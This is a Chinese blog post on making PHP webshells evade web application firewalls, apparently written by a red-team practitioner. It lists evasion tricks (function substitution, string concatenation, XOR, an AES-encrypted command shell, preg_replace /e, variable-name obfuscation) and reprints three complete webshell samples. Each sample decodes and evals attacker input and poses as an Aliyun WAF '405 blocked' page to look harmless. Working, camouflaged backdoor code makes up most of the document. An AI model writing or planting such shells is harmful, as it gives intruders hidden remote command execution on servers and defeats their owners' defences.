webshell免杀的一些思考

0x00前言

之前hw遇到多挺多次waf，想最初还是找大哥要来多个webshell的免杀样本去绕，随着次数增多，开始也有意无意去研究免杀的手段，借这篇文章去做一个简要的webshell免杀分析，就当做知识面的巩固。

0x01原理

免杀绕过waf的原理实际上也是借助编码、加密的手段去绕过waf的规则，只要手段足够多，就能绕过大部分waf。相反，waf的规则足够多，也能抵挡大部分的webshell。

以一个php一句话木马为例

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<?php 
eval($_POST['cmd']);
?>

代码就是通过eval函数去执行传过来的cmd参数，很显然，这个函数已经是经过waf的严格审核，那如何去对这个函数去做手段？

1、函数替代法

那时候的waf规则还不够完善，而且php的执行命令还有若干个，比如shell_exec、system、assert、passthru、exec

system

执行命令并返回结果

shell_exec

执行命令不返回结果

assert

一般称为断言，但是可以执行命令，不过要注意的是在php7.1之后assert没有执行命令功能

这些函数可以替换eval，不过现在这个时代我相信这些函数大大小小都是被waf监控住的

常用的函数剩下一个system，因为这个在很多模块都可能有所以不会那么严格

2、拼接法

这里是利用php的一个致命缺陷，就是可以通过 . 连接字符串，比如echo $a.$b

这样会拼接成ab。那可以使用该方法对敏感函数拼接起来

‘s’.’y’.’s’.’t’.’e’.’m’

其他语言则可以用+号拼接

通过拼接，去完善 $_POST 或 $_GET 传参

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$a = $_POST['cmd'];
$b = eval;
$b($a); #    => eval($_POST['cmd'])

3、异或法

异或也就是使用xor加密函数，对payload进行一个异或的操作实现加密

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$key = "sadwa21s21lm1";
$encoded = $input ^ $key;
eval($encoded ^ $key);

4、AES加密

这种方法对现代waf的免杀效果还是比较明显，因为存在pcb和cbc的加密模式和随机数密钥，可以从静态层面上绕过大部分waf

<?php
// AES 密钥和初始向量（IV），保持一致性
$key = 'secretkey'; // 16, 24, 或 32 字节长的密钥
$iv = 'iviviv'; // 16 字节长的 IV

// 加密函数
function encrypt($data, $key, $iv) {
    return openssl_encrypt($data, 'AES-256-CBC', $key, 0, $iv);
}

// 解密函数
function decrypt($data, $key, $iv) {
    return openssl_decrypt($data, 'AES-256-CBC', $key, 0, $iv);
}

// 接收加密命令并解密执行
if (isset($_POST['cmd'])) {
    $encryptedCmd = $_POST['cmd'];
    $decryptedCmd = decrypt($encryptedCmd, $key, $iv);
    if ($decryptedCmd) {
        // 执行解密后的命令
        $output = shell_exec($decryptedCmd);
        // 将结果加密后返回
        echo encrypt($output, $key, $iv);
    } else {
        echo 'Decryption failed';
    }
} else {
    echo 'No command received';
}
?>

5、字符串替换

在php中有个replace函数，可以输入一个错误的字符串，并将其替换为命令执行函数

1 2	$a = test($_POST['cmd']); str_replace("e" . "val", "test", $a);

其中还有一个函数比较特别

preg_replace，其中/e模式是用来执行代码的

1 2	echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]); # preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str）

这里说明下preg_replace的几个重要点

1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配，返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写，这个跟其它语言的正则用法相同
3、/m 表示多行匹配。什么是多行匹配呢？就是匹配换行符两端的潜在匹配。影响正则中的^$符号
4、/s 与/m相对，单行模式匹配。
5、/e 可执行模式，此为PHP专有参数，例如preg_replace函数。
6、/x 忽略空白模式。

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\\1是反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中，所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始，最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问，其中 n 为一个标识特定缓冲区的一位或两位十进制数
现在这里是\1，就匹配第一个

拓展

在waf禁用了preg_replace的情况下可以用其他两个函数

mb_ereg_replace、mb_eregi_replace，使用的方法相同，都是/e执行

6、编码绕过

base64编码、rot13编码、base32编码，unicode编码、url编码都可以去尝试

7、代码混淆

还是以php为例

这里的混淆已经有好多年的历史了，不妨再提一下

$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=7088;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';

这种代码是否看的头大，陌生又熟悉，实际上是利用php动态变量的属性+base64编码+自定义变量

$O00OO0000 = 'assert';
$O0O0OOO0 = 'system';
$O0O00O0O = 'shell_exec';
$O00OO0000("echo 'Hello'");
$O0O0OOO0("ls");

也就是这种

<?php
$O0O0O = "e"."v"."al";
$O0O0O(base64_decode('c3lzdGVtKCdscycpOw==')); // 解码后执行 `system('ls')`
?>
# eval(systel(`ls`));

0x02案例分析

找几个免杀的样本来简要分析下里面的技术

以XG拟态为例

1、aes+base64

<?php

class cFile {
    private function selectFile($filename){
        $sign = 'fff6cdb9613532a1';
        $fileurl = 'F4Ig+uOe6m94xRsp1jE3v3+NTr5ynQj/qVoBWQuKci0=';
        $file = openssl_decrypt(cFile::de($fileurl), "AES-128-ECB", $sign,OPENSSL_PKCS1_PADDING);
        $file_error = $$filename;
        @eval($file_error);
        return "filename";
    }
    public function getPriv() {
        return $this->selectFile(...);
    }
    public static function de($file){
            return base64_decode($file);
        }
}
$cfile = new cFile;
$error = $cfile->getPriv();
$error('file');

$VMf0hX = "<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="data-spm" content="a3c0e" />
    <title>
        405
    </title>
    <script src="//g.alicdn.com/code/lib/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        html,
        body,
        div,
        a,
        h2,
        p {
            margin: 0;
            padding: 0;
            font-family: 微软雅黑;
        }

        a {
            text-decoration: none;
            color: #3b6ea3;
        }

        .container {
            width: 1000px;
            margin: auto;
            color: #696969;
        }

        .header {
            padding: 50px 0;
        }

        .header .message {
            height: 36px;
            padding-left: 120px;
            background: url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;
            line-height: 36px;
        }

        .main {
            padding: 50px 0;
            background:
                #f4f5f7;
        }

        .main img {
            position: relative;
            left: 120px;
        }

        .footer {
            margin-top:
                30px;
            text-align: right;
        }

        .footer a {
            padding: 8px 30px;
            border-radius:
                10px;
            border: 1px solid #4babec;
        }

        .footer a:hover {
            opacity: .8;
        }

        .alert-shadow {
            display: none;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height:
                100%;
            background: #999;
            opacity: .5;
        }

        .alert {
            display: none;
            position:
                absolute;
            top: 200px;
            left: 50%;
            width: 600px;
            margin-left: -300px;
            padding-bottom:
                25px;
            border: 1px solid #ddd;
            box-shadow: 0 2px 2px 1px rgba(0, 0, 0, .1);
            background: #fff;
            font-size: 14px;
            color: #696969;
        }

        .alert h2 {
            margin:
                0 2px;
            padding: 10px 15px 5px 15px;
            font-size: 14px;
            font-weight: normal;
            border-bottom: 1px solid #ddd;
        }

        .alert a {
            display: block;
            position: absolute;
            right: 10px;
            top: 8px;
            width: 30px;
            height: 20px;
            text-align: center;
        }

        .alert p {
            padding: 20px 15px;
        }

        #feedback-container {
            width: 110px;
            margin: auto;
            margin-top: 120px;
            text-align: center;
        }

        #qrcode {
            margin: 0 15px 5px 15px;
        }

        #feedback a {
            color: #999;
            font-size: 12px;
            margin-top: 5px;
        }
    </style>
</head>

<body data-spm="7663354">
    <script>
        with (document) with (body) with (insertBefore(createElement("script"), firstChild)) setAttribute("exparams", "category=&userid=685308295&aplus&udpid=VWeUOceQJdKj&&yunid=&e93b4e3e75e05&trid=6525b79615839206094003938e&asid=AYf52CjhtWhe+af+HQAAAACWA/SInO3QLw==", id = "tb-beacon-aplus", src = (location > "https" ? "//g" : "//g") + ".alicdn.com/alilog/mlog/aplus_v2.js")
    </script>
    <script>
        //
        var i18nObject = {
            "zh-cn": {
                "message": "很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。",
                "bgImg": "https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",
                "report": "误报反馈",
            },
            "en-us": {
                "message": "Sorry, we have detected malicious traffic from your network, please try again later.",
                "bgImg": "https://img.alicdn.com/tfs/TB1ADAOIFzqK1RjSZSgXXcpAVXa-1320-234.jpg",
                "report": "Report",
            }
        }
        var i18n = i18nObject["en-us"];
        if (navigator.language.indexOf("zh") >= 0) {
            i18n = i18nObject["zh-cn"];
        }

    </script>

    <div data-spm="1998410538">
        <div class="header">
            <div class="container">
                <div class="message">
                    <script>document.write(i18n.message)</script>
                </div>
            </div>
        </div>
        <div class="main">
            <div class="container">
                <script>document.write('<img width="660" height="117" src="' + i18n.bgImg + '"/>')</script>

            </div>
        </div>
        <div class="footer">
            <div class="container">
                <span style='display:none'>
                    <script>
                        function getQueryString(url, name) {
                            var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)');
                            var r = url.substr(1).match(reg);
                            if (r !== null) return unescape(r[2]); return null;
                        }
                        var __uuid___ = getQueryString(location.href, "uuid")
                    </script>
                </span>
                <a target="_blank" id="report" href="javascript:;" data-spm-click="gostr=/waf.123.123;locaid=d001;">
                    <script>document.write(i18n.report)</script>
                </a>
            </div>
        </div>
    </div>
    <div id="alertShadow" class="alert-shadow">
    </div>
    <div id="alertContainer" class="alert">
        <h2>
            提示：
            <a href="javascript:;" title="关闭" id="closeAlert">
                X
            </a>
        </h2>
        <p>
            感谢您的反馈，应用防火墙会尽快进行分析和确认。
        </p>
    </div>
    <div id="feedback-container">
        <div id="qrcode"></div>
        <div id="feedback"></div>
    </div>
    <script>
        function show() {
            var g = function (ele) {
                return document.getElementById(ele);
            };
            var reportHandle = g('report');
            var alertShadow = g('alertShadow');
            var alertContainer = g('alertContainer');
            var closeAlert = g('closeAlert');
            var own = {};
            own.report = function () { 
                own.alert();
            }; own.alert = function () { alertShadow.style.display = 'block'; alertContainer.style.display = 'block'; }; own.close = function () { alertShadow.style.display = 'none'; alertContainer.style.display = 'none'; };
        };

        var uuid = location.href.match(/uuid=([^&]+)/);
        uuid = uuid && encodeURIComponent(uuid[1]);
        var urlQrCode = location.href.match(/qrcode=([^&]+)/);
        urlQrCode = urlQrCode && decodeURIComponent(urlQrCode[1]);
        if (uuid || urlQrCode) {
            var qrcode = new QRCode(document.getElementById("qrcode"), {
                text: urlQrCode || uuid,
                width: 80,
                height: 80,
                colorDark: "#999",
            });
            var feedbackLink = getFeedbackLink();
            document.getElementById("feedback").innerHTML = feedbackLink;
        }
        function getFeedbackLink() {
            var urlOrigin;
            urlOrigin = location.href.match(/origin=([^&]+)/);
            urlOrigin = urlOrigin && decodeURIComponent(urlOrigin[1]).split("?")[0];
            if (urlOrigin) {
                try {
                    urlOrigin = new URL(urlOrigin);
                    if (urlOrigin.protocol !== "https:" && urlOrigin.protocol !== "http:") {
                        urlOrigin = null;
                    } else {
                        urlOrigin = urlOrigin.href;
                    }
                } catch (e) {
                    if (typeof urlOrigin !== "string" || urlOrigin.indexOf("http") !== 0) {
                        urlOrigin = null;
                    } else {
                        urlOrigin = filterHtml(urlOrigin);
                    }
                }
            }
            var _language = navigator.browserLanguage || navigator.language;
            var text = ["zh-CN", "zh-cn"].includes(_language) ? "点我反馈 >" : "Click to feedback >";
            return '<a href="' + urlOrigin + '/_____tmd_____/page/feedback?rand=S3WxGHAgAt756EpznwfNzJq2AFA2qBNla3j6EINUS8We9dazM_iKElp8DwVSHZUevpC41Bx7RzivXIj9RnZgdg&uuid=' + encodeURIComponent(uuid) + '&type=6" target="_blank">' + text + '</a>';
        };
        function filterHtml(str) {
            str = str.replace(/&/g, "");
            str = str.replace(/>/g, "");
            str = str.replace(/</g, "");
            str = str.replace(/"/g, "");
            str = str.replace(/'/g, "");
            str = str.replace(/`/g, "");
            str = str.replace(/javascript/g, "");
            str = str.replace(/iframe/g, "");
            return str;
        }

    </script>
    <script type="text/javascript" charset="utf-8" src="https://errors.aliyun.com/error.js?s=10">
    </script>
</body>

</html>";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($VMf0hX);
}

这里是对文件内容进行aes加密之后，用代码进行解密

private function selectFile($filename){
        $sign = 'fff6cdb9613532a1';
        $fileurl = 'F4Ig+uOe6m94xRsp1jE3v3+NTr5ynQj/qVoBWQuKci0=';
        $file = openssl_decrypt(cFile::de($fileurl), "AES-128-ECB", $sign,OPENSSL_PKCS1_PADDING);
        $file_error = $$filename;
        @eval($file_error);
        return "filename";
    }
    public function getPriv() {
        return $this->selectFile(...);
    }
    public static function de($file){
            return base64_decode($file);
        }
}

2、动态拼接+替换+base64

<?php /*<meta name="29QlLQ" content="ZYLWcbSb">*/
$password='WlhaZYLWcbSbaGJDZ2ZYLWcbSbtYMUJQVTFSYkoyTnRaQ2RkS1RzPQ==';
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
    if ($k[0] == 'd' && $k[5] == 'd') {
        $template_source = str_replace($v,'',$password);
    }}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$$key;
@eval($aes_decode[1]);
$jWLTwO = "<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="data-spm" content="a3c0e" />
    <title>
        405
    </title>
    <script src="//g.alicdn.com/code/lib/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        html,
        body,
        div,
        a,
        h2,
        p {
            margin: 0;
            padding: 0;
            font-family: 微软雅黑;
        }

        a {
            text-decoration: none;
            color: #3b6ea3;
        }

        .container {
            width: 1000px;
            margin: auto;
            color: #696969;
        }

        .header {
            padding: 50px 0;
        }

        .header .message {
            height: 36px;
            padding-left: 120px;
            background: url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;
            line-height: 36px;
        }

        .main {
            padding: 50px 0;
            background:
                #f4f5f7;
        }

        .main img {
            position: relative;
            left: 120px;
        }

        .footer {
            margin-top:
                30px;
            text-align: right;
        }

        .footer a {
            padding: 8px 30px;
            border-radius:
                10px;
            border: 1px solid #4babec;
        }

        .footer a:hover {
            opacity: .8;
        }

        .alert-shadow {
            display: none;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height:
                100%;
            background: #999;
            opacity: .5;
        }

        .alert {
            display: none;
            position:
                absolute;
            top: 200px;
            left: 50%;
            width: 600px;
            margin-left: -300px;
            padding-bottom:
                25px;
            border: 1px solid #ddd;
            box-shadow: 0 2px 2px 1px rgba(0, 0, 0, .1);
            background: #fff;
            font-size: 14px;
            color: #696969;
        }

        .alert h2 {
            margin:
                0 2px;
            padding: 10px 15px 5px 15px;
            font-size: 14px;
            font-weight: normal;
            border-bottom: 1px solid #ddd;
        }

        .alert a {
            display: block;
            position: absolute;
            right: 10px;
            top: 8px;
            width: 30px;
            height: 20px;
            text-align: center;
        }

        .alert p {
            padding: 20px 15px;
        }

        #feedback-container {
            width: 110px;
            margin: auto;
            margin-top: 120px;
            text-align: center;
        }

        #qrcode {
            margin: 0 15px 5px 15px;
        }

        #feedback a {
            color: #999;
            font-size: 12px;
            margin-top: 5px;
        }
    </style>
</head>

<body data-spm="7663354">
    <script>
        with (document) with (body) with (insertBefore(createElement("script"), firstChild)) setAttribute("exparams", "category=&userid=685308295&aplus&udpid=VWeUOceQJdKj&&yunid=&e93b4e3e75e05&trid=6525b79615839206094003938e&asid=AYf52CjhtWhe+af+HQAAAACWA/SInO3QLw==", id = "tb-beacon-aplus", src = (location > "https" ? "//g" : "//g") + ".alicdn.com/alilog/mlog/aplus_v2.js")
    </script>
    <script>
        //
        var i18nObject = {
            "zh-cn": {
                "message": "很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。",
                "bgImg": "https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",
                "report": "误报反馈",
            },
            "en-us": {
                "message": "Sorry, we have detected malicious traffic from your network, please try again later.",
                "bgImg": "https://img.alicdn.com/tfs/TB1ADAOIFzqK1RjSZSgXXcpAVXa-1320-234.jpg",
                "report": "Report",
            }
        }
        var i18n = i18nObject["en-us"];
        if (navigator.language.indexOf("zh") >= 0) {
            i18n = i18nObject["zh-cn"];
        }

    </script>

    <div data-spm="1998410538">
        <div class="header">
            <div class="container">
                <div class="message">
                    <script>document.write(i18n.message)</script>
                </div>
            </div>
        </div>
        <div class="main">
            <div class="container">
                <script>document.write('<img width="660" height="117" src="' + i18n.bgImg + '"/>')</script>

            </div>
        </div>
        <div class="footer">
            <div class="container">
                <span style='display:none'>
                    <script>
                        function getQueryString(url, name) {
                            var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)');
                            var r = url.substr(1).match(reg);
                            if (r !== null) return unescape(r[2]); return null;
                        }
                        var __uuid___ = getQueryString(location.href, "uuid")
                    </script>
                </span>
                <a target="_blank" id="report" href="javascript:;" data-spm-click="gostr=/waf.123.123;locaid=d001;">
                    <script>document.write(i18n.report)</script>
                </a>
            </div>
        </div>
    </div>
    <div id="alertShadow" class="alert-shadow">
    </div>
    <div id="alertContainer" class="alert">
        <h2>
            提示：
            <a href="javascript:;" title="关闭" id="closeAlert">
                X
            </a>
        </h2>
        <p>
            感谢您的反馈，应用防火墙会尽快进行分析和确认。
        </p>
    </div>
    <div id="feedback-container">
        <div id="qrcode"></div>
        <div id="feedback"></div>
    </div>
    <script>
        function show() {
            var g = function (ele) {
                return document.getElementById(ele);
            };
            var reportHandle = g('report');
            var alertShadow = g('alertShadow');
            var alertContainer = g('alertContainer');
            var closeAlert = g('closeAlert');
            var own = {};
            own.report = function () { 
                own.alert();
            }; own.alert = function () { alertShadow.style.display = 'block'; alertContainer.style.display = 'block'; }; own.close = function () { alertShadow.style.display = 'none'; alertContainer.style.display = 'none'; };
        };

        var uuid = location.href.match(/uuid=([^&]+)/);
        uuid = uuid && encodeURIComponent(uuid[1]);
        var urlQrCode = location.href.match(/qrcode=([^&]+)/);
        urlQrCode = urlQrCode && decodeURIComponent(urlQrCode[1]);
        if (uuid || urlQrCode) {
            var qrcode = new QRCode(document.getElementById("qrcode"), {
                text: urlQrCode || uuid,
                width: 80,
                height: 80,
                colorDark: "#999",
            });
            var feedbackLink = getFeedbackLink();
            document.getElementById("feedback").innerHTML = feedbackLink;
        }
        function getFeedbackLink() {
            var urlOrigin;
            urlOrigin = location.href.match(/origin=([^&]+)/);
            urlOrigin = urlOrigin && decodeURIComponent(urlOrigin[1]).split("?")[0];
            if (urlOrigin) {
                try {
                    urlOrigin = new URL(urlOrigin);
                    if (urlOrigin.protocol !== "https:" && urlOrigin.protocol !== "http:") {
                        urlOrigin = null;
                    } else {
                        urlOrigin = urlOrigin.href;
                    }
                } catch (e) {
                    if (typeof urlOrigin !== "string" || urlOrigin.indexOf("http") !== 0) {
                        urlOrigin = null;
                    } else {
                        urlOrigin = filterHtml(urlOrigin);
                    }
                }
            }
            var _language = navigator.browserLanguage || navigator.language;
            var text = ["zh-CN", "zh-cn"].includes(_language) ? "点我反馈 >" : "Click to feedback >";
            return '<a href="' + urlOrigin + '/_____tmd_____/page/feedback?rand=S3WxGHAgAt756EpznwfNzJq2AFA2qBNla3j6EINUS8We9dazM_iKElp8DwVSHZUevpC41Bx7RzivXIj9RnZgdg&uuid=' + encodeURIComponent(uuid) + '&type=6" target="_blank">' + text + '</a>';
        };
        function filterHtml(str) {
            str = str.replace(/&/g, "");
            str = str.replace(/>/g, "");
            str = str.replace(/</g, "");
            str = str.replace(/"/g, "");
            str = str.replace(/'/g, "");
            str = str.replace(/`/g, "");
            str = str.replace(/javascript/g, "");
            str = str.replace(/iframe/g, "");
            return str;
        }

    </script>
    <script type="text/javascript" charset="utf-8" src="https://errors.aliyun.com/error.js?s=10">
    </script>
</body>

</html>";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($jWLTwO);
}

思路：

先生成了一个name和content作为注释写入代码，并调用查找meta函数找到上面2个的值，并传入token参数，当token参数的值等于name时就会变成content，随后写入username并加入到header里面

从header中查找含有ddddddd参数值并将其中含有content的字符串替换为空，并给template_source赋值

WlhaZYLWcbSbaGJDZ2ZYLWcbSbtYMUJQVTFSYkoyTnRaQ2RkS1RzPQ== => WlhaaGJDZ2ZYLtYMUJQVTFSYkoyTnRaQ2RkS1RzPQ==

$key = 'template_source';
$aes_decode[1]=$$key;
@eval($aes_decode[1]);

# @eval($template_source)

这里表面看上去是一个aes解密函数，实际上是一个自定义变量进行迷惑，最后执行的是注释里的内容

3、base64+动态拼接+替换+文件读取套娃

<?php /*vTLtwREN*/
header('Serve:'.base64_encode(__FILE__));
$password='WlhaaGvTLtwRENJvTLtwRENDZ2tYMvTLtwRENUJQVTFSYkoyTnRaQ2RkS1RzPQ==';
ob_start();
if($_GET['file']){
    $a = base64_decode($_GET['file']);
}else{
    $a = 'application.xml';
}
readfile($a);
$file = ob_get_contents();
ob_end_clean();
$username = substr($file,8,8);
$template_source = str_replace($username,'',$password);
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
if(@$_GET['file']){
    $aes_decode[1]=$$key;
}else{
    $aes_decode[1]='echo \'\';';
}
@eval($aes_decode[1]);
$VEIUrP = "<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="data-spm" content="a3c0e" />
    <title>
        405
    </title>
    <script src="//g.alicdn.com/code/lib/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        html,
        body,
        div,
        a,
        h2,
        p {
            margin: 0;
            padding: 0;
            font-family: 微软雅黑;
        }

        a {
            text-decoration: none;
            color: #3b6ea3;
        }

        .container {
            width: 1000px;
            margin: auto;
            color: #696969;
        }

        .header {
            padding: 50px 0;
        }

        .header .message {
            height: 36px;
            padding-left: 120px;
            background: url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;
            line-height: 36px;
        }

        .main {
            padding: 50px 0;
            background:
                #f4f5f7;
        }

        .main img {
            position: relative;
            left: 120px;
        }

        .footer {
            margin-top:
                30px;
            text-align: right;
        }

        .footer a {
            padding: 8px 30px;
            border-radius:
                10px;
            border: 1px solid #4babec;
        }

        .footer a:hover {
            opacity: .8;
        }

        .alert-shadow {
            display: none;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height:
                100%;
            background: #999;
            opacity: .5;
        }

        .alert {
            display: none;
            position:
                absolute;
            top: 200px;
            left: 50%;
            width: 600px;
            margin-left: -300px;
            padding-bottom:
                25px;
            border: 1px solid #ddd;
            box-shadow: 0 2px 2px 1px rgba(0, 0, 0, .1);
            background: #fff;
            font-size: 14px;
            color: #696969;
        }

        .alert h2 {
            margin:
                0 2px;
            padding: 10px 15px 5px 15px;
            font-size: 14px;
            font-weight: normal;
            border-bottom: 1px solid #ddd;
        }

        .alert a {
            display: block;
            position: absolute;
            right: 10px;
            top: 8px;
            width: 30px;
            height: 20px;
            text-align: center;
        }

        .alert p {
            padding: 20px 15px;
        }

        #feedback-container {
            width: 110px;
            margin: auto;
            margin-top: 120px;
            text-align: center;
        }

        #qrcode {
            margin: 0 15px 5px 15px;
        }

        #feedback a {
            color: #999;
            font-size: 12px;
            margin-top: 5px;
        }
    </style>
</head>

<body data-spm="7663354">
    <script>
        with (document) with (body) with (insertBefore(createElement("script"), firstChild)) setAttribute("exparams", "category=&userid=685308295&aplus&udpid=VWeUOceQJdKj&&yunid=&e93b4e3e75e05&trid=6525b79615839206094003938e&asid=AYf52CjhtWhe+af+HQAAAACWA/SInO3QLw==", id = "tb-beacon-aplus", src = (location > "https" ? "//g" : "//g") + ".alicdn.com/alilog/mlog/aplus_v2.js")
    </script>
    <script>
        //
        var i18nObject = {
            "zh-cn": {
                "message": "很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。",
                "bgImg": "https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",
                "report": "误报反馈",
            },
            "en-us": {
                "message": "Sorry, we have detected malicious traffic from your network, please try again later.",
                "bgImg": "https://img.alicdn.com/tfs/TB1ADAOIFzqK1RjSZSgXXcpAVXa-1320-234.jpg",
                "report": "Report",
            }
        }
        var i18n = i18nObject["en-us"];
        if (navigator.language.indexOf("zh") >= 0) {
            i18n = i18nObject["zh-cn"];
        }

    </script>

    <div data-spm="1998410538">
        <div class="header">
            <div class="container">
                <div class="message">
                    <script>document.write(i18n.message)</script>
                </div>
            </div>
        </div>
        <div class="main">
            <div class="container">
                <script>document.write('<img width="660" height="117" src="' + i18n.bgImg + '"/>')</script>

            </div>
        </div>
        <div class="footer">
            <div class="container">
                <span style='display:none'>
                    <script>
                        function getQueryString(url, name) {
                            var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)');
                            var r = url.substr(1).match(reg);
                            if (r !== null) return unescape(r[2]); return null;
                        }
                        var __uuid___ = getQueryString(location.href, "uuid")
                    </script>
                </span>
                <a target="_blank" id="report" href="javascript:;" data-spm-click="gostr=/waf.123.123;locaid=d001;">
                    <script>document.write(i18n.report)</script>
                </a>
            </div>
        </div>
    </div>
    <div id="alertShadow" class="alert-shadow">
    </div>
    <div id="alertContainer" class="alert">
        <h2>
            提示：
            <a href="javascript:;" title="关闭" id="closeAlert">
                X
            </a>
        </h2>
        <p>
            感谢您的反馈，应用防火墙会尽快进行分析和确认。
        </p>
    </div>
    <div id="feedback-container">
        <div id="qrcode"></div>
        <div id="feedback"></div>
    </div>
    <script>
        function show() {
            var g = function (ele) {
                return document.getElementById(ele);
            };
            var reportHandle = g('report');
            var alertShadow = g('alertShadow');
            var alertContainer = g('alertContainer');
            var closeAlert = g('closeAlert');
            var own = {};
            own.report = function () { 
                own.alert();
            }; own.alert = function () { alertShadow.style.display = 'block'; alertContainer.style.display = 'block'; }; own.close = function () { alertShadow.style.display = 'none'; alertContainer.style.display = 'none'; };
        };

        var uuid = location.href.match(/uuid=([^&]+)/);
        uuid = uuid && encodeURIComponent(uuid[1]);
        var urlQrCode = location.href.match(/qrcode=([^&]+)/);
        urlQrCode = urlQrCode && decodeURIComponent(urlQrCode[1]);
        if (uuid || urlQrCode) {
            var qrcode = new QRCode(document.getElementById("qrcode"), {
                text: urlQrCode || uuid,
                width: 80,
                height: 80,
                colorDark: "#999",
            });
            var feedbackLink = getFeedbackLink();
            document.getElementById("feedback").innerHTML = feedbackLink;
        }
        function getFeedbackLink() {
            var urlOrigin;
            urlOrigin = location.href.match(/origin=([^&]+)/);
            urlOrigin = urlOrigin && decodeURIComponent(urlOrigin[1]).split("?")[0];
            if (urlOrigin) {
                try {
                    urlOrigin = new URL(urlOrigin);
                    if (urlOrigin.protocol !== "https:" && urlOrigin.protocol !== "http:") {
                        urlOrigin = null;
                    } else {
                        urlOrigin = urlOrigin.href;
                    }
                } catch (e) {
                    if (typeof urlOrigin !== "string" || urlOrigin.indexOf("http") !== 0) {
                        urlOrigin = null;
                    } else {
                        urlOrigin = filterHtml(urlOrigin);
                    }
                }
            }
            var _language = navigator.browserLanguage || navigator.language;
            var text = ["zh-CN", "zh-cn"].includes(_language) ? "点我反馈 >" : "Click to feedback >";
            return '<a href="' + urlOrigin + '/_____tmd_____/page/feedback?rand=S3WxGHAgAt756EpznwfNzJq2AFA2qBNla3j6EINUS8We9dazM_iKElp8DwVSHZUevpC41Bx7RzivXIj9RnZgdg&uuid=' + encodeURIComponent(uuid) + '&type=6" target="_blank">' + text + '</a>';
        };
        function filterHtml(str) {
            str = str.replace(/&/g, "");
            str = str.replace(/>/g, "");
            str = str.replace(/</g, "");
            str = str.replace(/"/g, "");
            str = str.replace(/'/g, "");
            str = str.replace(/`/g, "");
            str = str.replace(/javascript/g, "");
            str = str.replace(/iframe/g, "");
            return str;
        }

    </script>
    <script type="text/javascript" charset="utf-8" src="https://errors.aliyun.com/error.js?s=10">
    </script>
</body>

</html>";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($VEIUrP);
}

将文件内容通过base64后传入header的serve参数，设置一个file参数值，传入

QzpccGhwU3R1ZHlcUEhQVHV0b3JpYWxcV1dXXDEyMy5waHA=
这里就会将base64解码得到C:\phpStudy\PHPTutorial\WWW\123.php，实际上没用，是一个扰乱视线的代码

header('Serve:'.base64_encode(__FILE__));
$password='WlhaaGvTLtwRENJvTLtwRENDZ2tYMvTLtwRENUJQVTFSYkoyTnRaQ2RkS1RzPQ==';
ob_start();
if($_GET['file']){
    $a = base64_decode($_GET['file']);
}else{
    $a = 'application.xml';
}
readfile($a);
$file = ob_get_contents();
ob_end_clean();

传入之后系统会读取base64解码之后的整个文件内容，因为这个内容在之前serve插入了，所以第一行是

1	<?php /vTLtwREN/

$username = substr($file,8,8);
$template_source = str_replace($username,'',$password);
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
if(@$_GET['file']){
    $aes_decode[1]=$$key;
}else{
    $aes_decode[1]='echo \'\';';
}
